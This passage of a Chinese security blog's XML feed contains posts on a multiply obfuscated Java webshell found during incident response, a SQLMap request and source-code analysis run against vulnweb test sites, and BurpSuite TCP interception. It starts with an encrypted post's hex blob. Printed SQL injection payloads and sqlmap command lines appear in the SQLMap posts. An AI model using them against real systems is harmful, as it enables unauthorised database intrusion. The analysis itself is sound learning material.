7a2be8e629c05cbc737fd9d8c6a8eaeb7e248907816fb6317208d856d9c0407f51d5eed5526151856eafd9c8b3016bdbb4482afbffcd7ab7709e14c6dd389b0d7a088c0ee22a3a253bb74eb9cc7d1fcace9a5882d8138b709459efc9be3236a0ecfe93406ecd5a9ea82374b4be4555794527d7166d4c8d761512fb6043938b59a97cdb7aaefae3a97d7b2464bea4421678b195bc5fbc08b773464e7ab42488d936c60c4f6430c272ab88737716a03e60c4cf855b718a15da443755db290b3a23b49aeb41c2b648685ea4cb214715cbe04a108bcd9f75c81db269cbdb5141a59342b259e6d49cdb0408519c908b06d15ef39bb46abefa420e108e3d05670e2987619057ac6add2970dc5b9344d1e274cc67bd91b2eef94636bc6b7e0be62150010a26d87f934501c0fa45207eca365846582d28d577d7f27beea63dcfc968fb3ad204eb68a046ea97d820787fbb2bde29737162072bcd423fcfdf3b563e109c112b312d4d0c2ace3be58e029a6a1c5ef174084cf1068845815ebc1321bd121a5bec7fd24e3311dc2858ff289ecf8aa223621622ffe327addecc4f089accc5b404502a7c41d40582c25613f228eef115341299ae260fd5f4be0e701cb6254da63063d0be37b80ae47e795159582fa3d614f6573c51bb12c21f5a5773a792478952a20d06c48b9957b3035e890929022a4cb5da6914f622802e08f017db46444aa59f591b878edf9eebdc76cab2d329eda153ac2a7d2433086dbc8eb899978d2315276ed25d16d7b27a7bc9919b0d5ce150ba21e5121af4cca63bf26ce3bf63296ba3f36de5c52958f8ac7c2aca6360638680c996421600caed2a1a01155921b62e7f14555c147f5ff99e2266f73d40280199f5658ba136ae7fd5084223f111f4cc7c03d8035b6eeb8e15a3bfee27d5388428ceb01616fa2da3de7e75761c6e98cc51a87d8a4c0f14ea3b136a9ad246c0fbc344426b4d536e27099b550194960a2ce72e7a0968a2690f9c91d92b4a36057825c0e3954d22a7e1b5f69db7a60f466313c84a8f3139753723b22a676f2869ac8849de579119614b89a400ad640f8632c79d918c93818037f686fd374232579b5cf591df541ea61934ce642947b815dfc05ff9dff63767c2a3da9f8ead89440ea781d541aa2d921880a67526f372d42caf3e72284ee7f6fcbd0bd08d7a25142479ce06741fab92e4be470335c3e389ef232e9b78b6e732e655239a8c81ad7a8c5f69e3b9a8ed58e67d19d3e6f9275c30b7eb2201655982eaf043da60e284e7400e4d441bb53b8243b6a69365aeda7399dad82adc51a658bef7222eab50695d44c8b8e5768e2fb6040d7a08953ca09ebef75b6786ccb1f6db7da807b632f5716d127c21696d387c32942273186df4c0993d80cdef5557d29a76172f6224024093364f1318df597ad437b90f9354e7362fcf2c0c81ca154edb263634933426278a8db57aa8eb176fbfe8a81ed749bb44bc0a51ef51e4e288f659b2bb5fddad18e6489c8a37d51aea666f65d24abe04998ab6825af326f2f785490b74ba239cfa5c955ff84a0e0edd9c92f978d7537b312da8ac40efd500841dc3f6cda712bb3b5a3397470ad18b5fb606d5448dc05400a7c1f2ef3edaede49375f82f46ba5774ae7da9e2f2dc9437d39f0dc5197746429b67478a2e297ffa9f588a8635f2c3a5ae315d070a139f59e27818fab18fc6335750f160849b2b3b352d4145e89899d9dd0b45e406e5e17263adac8721e7cdb3b0cfdab105206af9545e13d563a6df1a39d60c004fb557b214ca30d12cb21ee7ee72a1fba84c0a6bce6e2ba6c829707b29b1efc5967083805ef958474c695f8795c129b2fc4801d5de6b1bcd80211d1a32f0f4f49c0da4f929c82f95d0f5be127aa720f53ff030ee3cbfa60790d92cece6e4d67e39777142f0dee336b158160f176c643bf70e230c3f5d6252c67b8d98c5c1196b1459bbd09d65c991990826fd294682124ab6d75d9b83c877ebf8802f068378175a3b2e868b0731fadc0fe7eb0732eb7b4c9f0fd9d0ef51ef3d7cee22662aee9ba5f9554095531d4cc5ec3e9b53bea2d0b3831cf9297bf51aea8617a81a334e189765896a2f98a1ff0914788799dd574ae1e8327abc0ed6d2e13ec74070643e76291117e146dcf5524ae7a2b9b2b7d734e8444bf3d2eaeba55d44a45695c03785fb40580a7be53aa85bdb0e26a3e6dff715661801c93e50abd70afb9676de40614bce213694f6e7299fffd125421296d9420bf65cc74aabd954ae40c2cc7ccb3e6f8c1506aaa41ded1e493ab172761fbe3eb541521cf328360291f9ced47604b70707c4ffb9c2aca181577fb12fafcd5b721ec61553032ede020f86ce4f01c8e5df312452b18d95081f93c27ed2749267a9c9bbe2411696039049225af144db2851e2f2d976455cfe5e04bf3da2722245c6c9b624f0da85d1ca24504ecddbd07dace9009e6e407343bd5744907f73c3cc24f98697dbe7d2c460ed45337fb7952d756bcf012a03ece7dc4f9851ed52d92cf3cc1c4f4d58d2877301a3ba7db88f6c765b784d69542bd09150a413286f3d4d123953dd3c050e524073a024ea8fd5f3abeef02edecb3075cef34e8a9b77675625e178c2ee7fb06f8580529168bae6eace7188c7020da7ddc1cee4e85490c1cf1f80ec2d822e8a916248286c54e9abb6bf61855773334055d1b57e76403837e9a130c0d99301fe11b7aa6f8aab9d62afcc8c9596e00157d88cee9ee5018457fee858f68ac4f50ad5f4d607fd8b62f979984b99977c5e220ef926cbe7eaa9c68de54268cd5de9bc8860f1772a5a19a5198a38ffebe54a0b08560fbb8e404c491f1248dae200341f26d38f7ec9fb4f0b02884846301ec61b6c58aa94fd2bc5e843ffab08814d63cdd18c6f1cef80587ee7de7aa79b8e49cfac15836a21b15ced344fe68c87ca1f23914078dacf25590e1ff20d4a434e63c9e6b332e47e2fbee354bdc0f951a390623936762ae924b6acc57945b53d3667c759447c2de75e9fe9d7c6ac6637372172d630fe98cfa692bfd48f17f86aa8b05c55294916c5b5f10bb5741d1a630ef8f6f44057418678da60552</script>
  <div class="hbe hbe-content">
    <div class="hbe hbe-input hbe-input-default">
      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">
      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">
        <span class="hbe hbe-input-label-content hbe-input-label-content-default">由于内容敏感，因此加密处理</span>
      </label>
    </div>
  </div>
</div>
<script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
      <categories>
        <category>安全</category>
        <category>应急响应</category>
      </categories>
      <tags>
        <tag>应急响应</tag>
      </tags>
  </entry>
  <entry>
    <title>某多重混淆应急响应</title>
    <url>/archives/9bb5d45b.html</url>
    <content><![CDATA[<p>在一次攻防演练中，发现一个有趣的shell，文件做过多层混淆。</p>
<p><img data-src="https://i.loli.net/2021/08/18/4hfFrNpeTZxsYCn.png" alt="源文件"></p>
<span id="more"></span>

<h1 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h1><h2 id="Unicode混淆"><a href="#Unicode混淆" class="headerlink" title="Unicode混淆"></a>Unicode混淆</h2><p>根据内容可大概得知为unicode编码，对其进行解码，解码之后内容如下:</p>
<p><img data-src="https://i.loli.net/2021/08/18/Yw28WLuekyDCdqP.png" alt="第一次解码"></p>
<h2 id="字节码Base64解码"><a href="#字节码Base64解码" class="headerlink" title="字节码Base64解码"></a>字节码Base64解码</h2><p>其中clzBytecodeBase64Str参数值为base64编码，直接使用base64解码之后发现存在乱码，猜测为字节码文件进行base64编码。提取clzBytecodeBase64Str值，使用工具对其进行解码还原为class文件，其内容如下：</p>
<p><img data-src="https://i.loli.net/2021/08/18/H6MfhlOr7JYCydP.png" alt="Vicennial类"></p>
<h2 id="ZKM14混淆"><a href="#ZKM14混淆" class="headerlink" title="ZKM14混淆"></a>ZKM14混淆</h2><p>根据内容猜测其为ZKM14混淆，对其进行还原。然后查看反混淆之后的内容:</p>
<p><img data-src="https://i.loli.net/2021/08/18/n2OyHWC8beaZMRS.png" alt="VicennialOut"></p>
<h2 id="第二次字节码解码"><a href="#第二次字节码解码" class="headerlink" title="第二次字节码解码"></a>第二次字节码解码</h2><p>同理将s3进行解码，得到如下内容</p>
<p><img data-src="https://i.loli.net/2021/08/18/zJkbWXEIGQwcNK2.png" alt="shell"></p>
<p>根据上图可得知其为webshell</p>
<h1 id="动态分析"><a href="#动态分析" class="headerlink" title="动态分析"></a>动态分析</h1><p>由于java所有代码都需要进到JVM，可直接dump出JVM中的类文件即可。<br>启动tomcat，访问一次原始文件页面，让tomcat将其加载至JVM中。使用arthas加载tomcat，首先要寻找对应的类名。<br>通过jvisualvm工具，查看内存中的类。<br><img data-src="https://i.loli.net/2021/08/18/AZr8zS5GYvHKbgP.png" alt="jvisualvm">通过<code>dump Sklater</code>命令直接将class导出</p>
<p><img data-src="https://i.loli.net/2021/08/18/foduLOYnRz5XQpe.png" alt="dump shell"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.这个webshell结合了上次说的编码、classload，还加了ZKM混淆；<br>2.在这次事件上，静态分析可以对整个流程理解更深刻，动态分析可以更快得到结果。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>应急响应</category>
      </categories>
      <tags>
        <tag>应急响应</tag>
      </tags>
  </entry>
  <entry>
    <title>SQLMap原理分析(一)</title>
    <url>/archives/e409b646.html</url>
    <content><![CDATA[<p>记得好久以前看过SQLMap的原理分析，但是那时候仅仅只是看过并没有自己去研究。因此，这次想深入研究一下SQLMap的原理。大概会从网络请求、运行流程、源码这些角度进行分析。</p>
<span id="more"></span>

<h1 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h1><h2 id="测试环境"><a href="#测试环境" class="headerlink" title="测试环境"></a>测试环境</h2><p>先准备几个不同数据库的测试环境：MySQL、Oracle、SQLServer等。这里偷懒就直接用AWVS提供的环境：<span class="exturl" data-url="aHR0cDovL3Rlc3RwaHAudnVsbndlYi5jb23jgIFodHRwLy90ZXN0YXNwLnZ1bG53ZWIuY29tJUUzJTgwJTgy">http://testphp.vulnweb.com、http://testasp.vulnweb.com。<i class="fa fa-external-link-alt"></i></span></p>
<h2 id="SQLMap"><a href="#SQLMap" class="headerlink" title="SQLMap"></a>SQLMap</h2><p>SQLMap可以在<span class="exturl" data-url="aHR0cDovL3NxbG1hcC5vcmcv">官方站点<i class="fa fa-external-link-alt"></i></span>下载也可以通过Git命令从GitHub下载。<code>git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev</code></p>
<p>如果已经有SQLMap，可以更新到最新版本。这里我用的是1.3.4.51#dev版本</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">python sqlmap.py --update</span><br><span class="line">python sqlmap.py --version</span><br></pre></td></tr></table></figure>

<h1 id="请求分析"><a href="#请求分析" class="headerlink" title="请求分析"></a>请求分析</h1><p>通过对请求分析可以很直观看到SQLMap从开始到结束中间一共进行过什么操作。分析思路为找到SQLMap关键的几个请求包进行分析，得出SQLMap大概的一个操作流程以及判断逻辑。Ps：下文中包的数字等信息并不固定。</p>
<h2 id="MySQL"><a href="#MySQL" class="headerlink" title="MySQL"></a>MySQL</h2><p>在testphp站点随便找一个注入点，可以发现登录口存在注入，用BurpSuite（代理端口8080）将请求保存成sql.txt，然后使用sqlmap进行注入。</p>
<p><code>python sqlmap.py -r sql.txt -p uname --proxy http://127.0.0.1:8080</code></p>
<p>正常情况下这时候已经可以在BurpSuite的proxy-history里面看到sqlmap发的请求了。</p>
<p>首先会不直接按照sql.txt中的请求包发起一次请求根据响应进行下一步操作，由于该处登录口登录失败会进行302跳转。因此，SQLMap会有一个是否跟进302的提示。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7633abca2.png" alt="302跳转.png"></p>
<p>接下来可以看到SQLMap猜测该处为MySQL数据库，大概为第五、六个包。</p>
<ol>
<li>按照sql.txt发起请求；</li>
<li>在url后面加参数发起请求；</li>
<li>将POST请求变成GET请求；</li>
<li>不改动再发起一次请求；</li>
<li>增加特殊字符发起请求：&amp;lsquo;、&quot;。</li>
</ol>
<p>根据服务器回显报错得出可能为MySQL数据库。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca763844613.png" alt="MySQL_Error.png"></p>
<p>接下来会猜测注入类型型，大概在第一百四十六个包会得出注入点uname为布尔盲注，根据请求可以看到payload。</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">uname<span class="operator">=</span>est<span class="string">&#x27; AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(4376=4376,1))),0x71766b6271,0x78))s), 8446744073709551610, 8446744073709551610)))-- GUJT</span></span><br></pre></td></tr></table></figure>

<p>判断依据为该请求服务器可以正常响应。</p>
<p>接下来会对数据库版本以及函数进行猜测，大概在二百二十七个包会得出可以使用union以及共有8个字段。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638a50b9.png" alt="union.png"></p>
<p>最后对进行一次验证，并得出结论。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638ab833.png" alt="result.png"></p>
<h2 id="SQLServer"><a href="#SQLServer" class="headerlink" title="SQLServer"></a>SQLServer</h2><p>随便找一个注入点：<span class="exturl" data-url="aHR0cDovL3Rlc3Rhc3AudnVsbndlYi5jb20vc2hvd2ZvcnVtLmFzcD9pZD0wJUVGJUJDJThDJUU1JUIwJTg2JUU2JUI1JTgxJUU5JTg3JThGJUU0JUJCJUEzJUU3JTkwJTg2JUU1JTg4JUIwQnVycFN1aXRlJUUzJTgwJTgy">http://testasp.vulnweb.com/showforum.asp?id=0，将流量代理到BurpSuite。<i class="fa fa-external-link-alt"></i></span></p>
<p>SQLMap第一次认为该处不存在注入，可以看到是输入特殊的字符根据响应进行判断：&amp;lsquo;、&quot;。一共发起两次特殊字符请求进行注入点判断，服务器响应为500，并且响应包里面没有带数据库报错等信息。因此，SQLMap猜测该处并不存在注入。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76386163a.png" alt="SQLServer_error.png"></p>
<p>但是后来SQLMap发现该处为布尔类型的盲注，根据时间来看是11:59:59时判断的。根据BurpSuite的时间戳找到这个时间点的请求包得知payload：0 and 9756&#x3D;9756，并且服务器的响应为200。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7638a5110.png" alt="and.png"></p>
<p>接下来SQLMap判断该数据库类型为SQLServer，根据前后的请求包来看应该是按照不同连接符号得出的不同结论来进行判断。</p>
<p>可以看到一共用了三种连接符号，在使用||，服务器返回为200响应码。</p>
<ol>
<li>||</li>
<li><ul>
<li></li>
</ul>
</li>
<li>&amp;</li>
</ol>
<p><img data-src="https://i.loli.net/2019/05/02/5cca7635c7197.png" alt="||code=200.png"></p>
<p>接下来会开始猜测注入类型，会得出该注入点是SQLServer可注入，并且是什么类型注入。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76386452f.png" alt="注入类型.png"></p>
<p>接着通过order by来猜测字段长度，可得出长度为2。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca76385c3f5.png" alt="order by 2.png"></p>
<p>最终会输出结果。</p>
<p><img data-src="https://i.loli.net/2019/05/02/5cca763398e71.png" alt="sqlserver-result.png"></p>
<h1 id="Oracle"><a href="#Oracle" class="headerlink" title="Oracle"></a>Oracle</h1><p>待测试。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>根据上面的测试可以得知SQLMap大致工作流程：数据库类型猜测、注入类型猜测、数据库版本猜测（MySQL不同版本会影响后续payload选择）、字段长度猜测、结论输出等。	</p>
<ol>
<li>数据库类型猜测使用特殊字符来完成：单引号、双引号、连接符等；</li>
<li>注入类型猜测通过函数来完成：char、union、concat、select等；</li>
<li>长度猜测用的是order by。</li>
</ol>
<p>这次测试注入点都是简单的注入点，因此看起来很类似。或许在复杂的注入点中间用的函数或者特殊字符不同，但是流程上应该是保持不变的。</p>
]]></content>
      <categories>
        <category>安全</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>SQLMap原理分析(二)</title>
    <url>/archives/782ab1db.html</url>
    <content><![CDATA[<p>在<a href="/archives/e409b646.html" title="SQLMap原理分析(一)">SQLMap原理分析(一)</a>通过SQLMap的请求进行了一次简单的分析，大概了解SQLMap一个粗略的运行流程。这次通过源码的Debug进行深入一点研究。</p>
<span id="more"></span>

<h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p>这里使用pycharm进行debug，打开SQLMap项目之后，在【Run】-【Edit Configurations】设置参数：-u <span class="exturl" data-url="aHR0cDovL3Rlc3Rhc3AudnVsbndlYi5jb20vc2hvd2ZvcnVtLmFzcD9pZD0w">http://testasp.vulnweb.com/showforum.asp?id=0<i class="fa fa-external-link-alt"></i></span> –flush-session。由于上次跑了testasp这个站点有缓存因此加上了–flush-session。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2ed407c05.png" alt="pycharm-config.png"></p>
<h1 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h1><h2 id="连接检测"><a href="#连接检测" class="headerlink" title="连接检测"></a>连接检测</h2><p>准备工作做好之后，在sqlmapy.py文件第407行下一个断点，然后开启Debug之旅。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eec3ac6a.png" alt="debug-1.png"></p>
<p>可以看到现在已经成功断到407行了，单步步入到main()函数中。发现前面几行代码是获取配置、路径、banner等信息。当运行到136行的时候可以发现已经获取到前面设置的站点参数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f556aa4b.png" alt="debug-2.png"></p>
<p>运行到156行步入到init()函数中，2629行至后面可以看到会进行一系列设置：http、threads等等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecea60d.png" alt="debug-3.png"></p>
<p>步出回到sqlmapy.py中的main函数，继续单步运行会进行一系列判断检查，直到177行会发现start函数，步入到start函数。这时候会来到.&#x2F;lib&#x2F;core&#x2F;decorators.py的stackedmethod函数，根据注释，该函数是用来堆栈对齐的回退函数（不太理解啥意思）。看到result关键字直接步入。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f54bbdba.png" alt="debug-4.png"></p>
<p>发现来到.&#x2F;lib&#x2F;controller&#x2F;controller.py的start函数。根据注释可以得知，该函数用来检查url、请求方式、cookie以及是否存在注入等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eeb99d73.png" alt="debug-5.png"></p>
<p>经过一系列的信息获取：Method、paramKey、Headers等，来到了420行进行连接等检查。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecc3af6.png" alt="debug-6.png"></p>
<p>跟进checkConnection函数，会来到.&#x2F;controller&#x2F;checks.py。先检查hostname是否是ip形式（xxx.xxx.xxx.xxx），之后检查有没有设置代理。然后输出log信息：尝试连接目标url。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eed053b4.png" alt="debug-7.png"></p>
<p>终端上这时候print出该条日志信息。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eecea051.png" alt="log-print.png"></p>
<p>在1589行可以看到开始进行request请求，跟进Request函数，来到.&#x2F;request&#x2F;connect.py，通过注释可以得知queryPage函数是用来获取目标url页面内容。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eec3b6ea.png" alt="debug-8.png"></p>
<p>直到1306行调用Connect.getPage发起请求开始获取页面内容。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2eed06b5e.png" alt="debug-9.png"></p>
<p>步入getPage函数，经过一系列的赋值：url、get类型参数、cookie等。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f5605d4b.png" alt="debug-10.png"></p>
<p>497行调用urllib.request.urlopent发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55cf740.png" alt="debug-11.png"></p>
<p>515行获取响应正文信息，这跟上篇文章请求第一个请求包相呼应。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f561842f.png" alt="debug-12.png"></p>
<p>570行会关闭连接。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55d1102.png" alt="debug-13.png"></p>
<p>最后getPage函数会return出响应正文、响应头以及响应状态码。继续运行回到queryPage函数，经过一系列处理queryPage函数将响应正文、响应头以及响应状态码也return出去。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f55e3e92.png" alt="debug-14.png"></p>
<p>之后会来到.&#x2F;lib&#x2F;core&#x2F;decorators.py，会将获取到的result返回。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f555cfc4.png" alt="debug-15.png"></p>
<p>会回到checks.py，最终返回True。这时候SQLMap已经获知目标站点可连接。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f558f816.png" alt="debug-16.png"></p>
<h2 id="WAF判断"><a href="#WAF判断" class="headerlink" title="WAF判断"></a>WAF判断</h2><p>之后会开始进行WAF检测&amp;识别。</p>
<h3 id="检测"><a href="#检测" class="headerlink" title="检测"></a>检测</h3><p>在423行进行waf检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd2f5583e99.png" alt="debug-17.png"></p>
<p>跟进checkWaf函数，又会来到stackedmethod函数，直接到在result进行步入，会来到checkWaf函数。根据注释可以得知sqlmap的waf检测能力来源nmap的http-waf-detect脚本。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd307501870.png" alt="debug-18.png"></p>
<p>首先将几种攻击类型的payload（SQL注入、目录遍历、XSS等）拼接到已有参数发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075e0add.png" alt="debug-19.png"></p>
<p>如果直接连接错误，可以判断存在WAF。若可正常连接，判断不存在WAF。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075de50a.png" alt="debug-20.png"></p>
<h3 id="识别"><a href="#识别" class="headerlink" title="识别"></a>识别</h3><p>继续执行可以看到identifyWaf函数，但由于并未设置检测waf会被判断跳过。可以按住command点击identifyWaf函数跟进查看原理。大概原理是调用waf文件夹下脚本进行检测-得到结果。脚本脚本大概逻辑为：发起请求-获取响应正文、响应头、响应码-根据规则判断-返回结果。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075ce2c5.png" alt="debug-21.png"></p>
<h2 id="稳定性检测"><a href="#稳定性检测" class="headerlink" title="稳定性检测"></a>稳定性检测</h2><p>回到controller运行至436行会有checkStability函数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3074bd00b.png" alt="debug-22.png"></p>
<p>跟进该函数，通过备注发现该函数是用来进行稳定性检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075dfc04.png" alt="debug-23.png"></p>
<h2 id="参数动态检测"><a href="#参数动态检测" class="headerlink" title="参数动态检测"></a>参数动态检测</h2><p>经过一系列赋值&amp;判断，运行至535行步入checkDynParam函数，根据注释可以得知该函数是用来检测参数是否为动态。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075cc469.png" alt="debug-24.png"></p>
<h2 id="注入检测"><a href="#注入检测" class="headerlink" title="注入检测"></a>注入检测</h2><h3 id="简单判断"><a href="#简单判断" class="headerlink" title="简单判断"></a>简单判断</h3><p>运行至558行，终于来到关键的注入检测。跟进heuristicCheckSqlInjection函数，在1023行进行随机字符串获取，随机字符串长度为10。并且该随机字符串需满足单引号或者双引号出现次数为1。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075db5a4.png" alt="debug-25.png"></p>
<p>接下来将随机字符串拼接成payload，发起请求。这个请求跟上篇文章请求中的注入判断请求包对应。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075cb1c8.png" alt="debug-26.png"></p>
<p>1035行调用parseFilePaths函数检测响应正文中是否包含绝对路径。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3075a7b0a.png" alt="debug-27.png"></p>
<p>1036行检测上一个响应是否有数据库错误信息，这时候的上个请求payload是包含单双引号的，通过这种方式可以极快的判断是否存在注入。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e1ed1.png" alt="debug-28.png"></p>
<p>由于这里并不会有数据库的报错信息，所以还需要继续运行。在1092行会生成两个随机变量，长度为6。接下来生成带&lt;’&quot;&gt;的payload，该payload为第一个随机字符串加上&lt;’&quot;&gt;加上第二个随机字符串。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c433f5d.png" alt="debug-29.png"></p>
<p>1095行出现agent.payload函数，跟进该函数（.&#x2F;lib&#x2F;core&#x2F;agent.py），根据注释得知该函数功能是替换SQL注入参数。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3b927a.png" alt="debug-30.png"></p>
<p>166行调用cleanupPayload函数，根据函数名猜测该函数主要是用来进行payload清理。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e2e76.png" alt="debug-31.png"></p>
<p>最终返回经过处理之后的payload:<br><code>u&#39;id=__PAYLOAD_DELIMITER__0\&#39;ozeyed&lt;\&#39;&quot;&gt;cOuFpj__PAYLOAD_DELIMITER__&#39;</code>。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c463356.png" alt="debug-32.png"></p>
<p>之后使用处理之后的payload发起请求。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c486dcd.png" alt="debug-33.png"></p>
<p>最后返回kb.heuristicTest。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c458928.png" alt="debug-34.png"></p>
<p>继续运行回到start函数，570行调用checkSqlInjection开始进行注入检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e0fdc.png" alt="debug-35.png"></p>
<p>跟进checkSqlInjection函数，调用InjectionDict函数设置注入字典，之后对参数值类型进行检查。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c3e00ac.png" alt="debug-36.png"></p>
<p>135行调用getSortedInjectionTests函数获取待注入类型及其payload等信息。142行会将tests数据取出来，直至取完才能跳出141行的while循环。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd30c466091.png" alt="debug-37.png"></p>
<p>148行由于条件并不满足，会跳过dbms检测。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd3101f21d1.png" alt="debug-38.png"></p>
<p>之后对payload进行处理，直至506、511行调用Request.queryPage请求。这时候的payload包含AND关键字。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311092e00.png" alt="debug-39.png"></p>
<p>之后对结果进行判断，由于并没有满足条件，许多判断都直接pass掉。开始重新构造payload发起请求。直至payload为boolen类型注入，会进入判断设置injectable &#x3D; True。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311093db6.png" alt="debug-40.png"></p>
<p>拆分一下这里的判断逻辑：</p>
<ol>
<li>falsePage与truePage是否相等，falsePage使用的payload为cmpPayload、TruePage使用的payload为reqPayload。假设得到结果为A，A为布尔类型；</li>
<li>获取not kb.nullConnection结果，假设得到结果为B，B为布尔类型；</li>
<li>判断not(A and B)，假设得到结果为C，C为布尔类型；</li>
<li>判断trueResult and C，假设得到结果为D，只有trueResult、C同为True。D才能为True，满足条件判断；</li>
<li>正常情况下B为True，这时候只有falsePage不等于truePage，才能满足条件。</li>
</ol>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311094d32.png" alt="debug-41.png"></p>
<p>这时候的判断还是比较简单的判断并不能直接就认为该处存在注入，可以看到终端输出时该处似乎是布尔类型的盲注。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd31107da75.png" alt="debug-42.png"></p>
<p>之后对该注入信息进行赋值存储injection变量中。由于这时候injectable为True，所以会跳出372行的for循环。</p>
<p><img data-src="https://i.loli.net/2019/05/04/5ccd311081b0f.png" alt="debug-43.png"></p>
<h3 id="深度判断"><a href="#深度判断" class="headerlink" title="深度判断"></a>深度判断</h3><p>待定。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>SQLMap整个运行机制：</p>
<ol>
<li>获取url、thread、headers等信息存储至变量中；</li>
<li>网站存活性检测；</li>
<li>WAF检测&amp;WAF类型识别；</li>
<li>稳定性检测；</li>
<li>注入检测。</li>
</ol>
<p>SQLMap关键的脚本：</p>
<ol>
<li>.&#x2F;lib&#x2F;core&#x2F;decorators.py</li>
<li>.&#x2F;lib&#x2F;controller&#x2F;controller.py</li>
<li>.&#x2F;request&#x2F;connect.py</li>
<li>.&#x2F;controller&#x2F;checks.py</li>
<li>.&#x2F;lib&#x2F;core&#x2F;agent.py</li>
</ol>
<p>通过SQLMap机制简单分析，后续在手工注入的时候可以参考SQLMap的判断机制。</p>
]]></content>
      <categories>
        <category>安全</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>BurpSuite抓取非HTTP协议流量</title>
    <url>/archives/ffc80a19.html</url>
    <content><![CDATA[<p>在进行APP渗透的时候，设置代理到BurpSuite的时候，发现没拦截到包，但是已经获取到数据。猜测是请求包走的是非HTTP协议，发现BurpSuite有一个插件可以抓取TCP的流量：NoPE Proxy。<br><img data-src="https://s2.loli.net/2023/04/05/f3GABvpMHINtjcw.png"></p>
<span id="more"></span>

<h1 id="NoPE安装"><a href="#NoPE安装" class="headerlink" title="NoPE安装"></a>NoPE安装</h1><p>[NoPE][1]安装很简单，直接下载对应的jar文件，然后在BurpSuite的【Extender】选项卡中添加即可。Ps：记得要配置Java Environment环境。</p>
<h1 id="NoPE使用"><a href="#NoPE使用" class="headerlink" title="NoPE使用"></a>NoPE使用</h1><p>安装完成之后，需要对NoPE进行配置：DNS配置、HTTP代理设置等。</p>
<h2 id="Server设置"><a href="#Server设置" class="headerlink" title="Server设置"></a>Server设置</h2><p>在NoPE工具的【Server Config】选项卡进行配置，猜测设置DNS是为了获取请求包的domain。</p>
<ol>
<li>设置【DNS Response IP】和【DNS Listener Port】，将这个ip设置为代理服务器的ip地址，port设置为DNS常用端口：53；</li>
<li>设置【Interface】，这个是设置网卡，可通过<code>ifconfig</code>查看 ；</li>
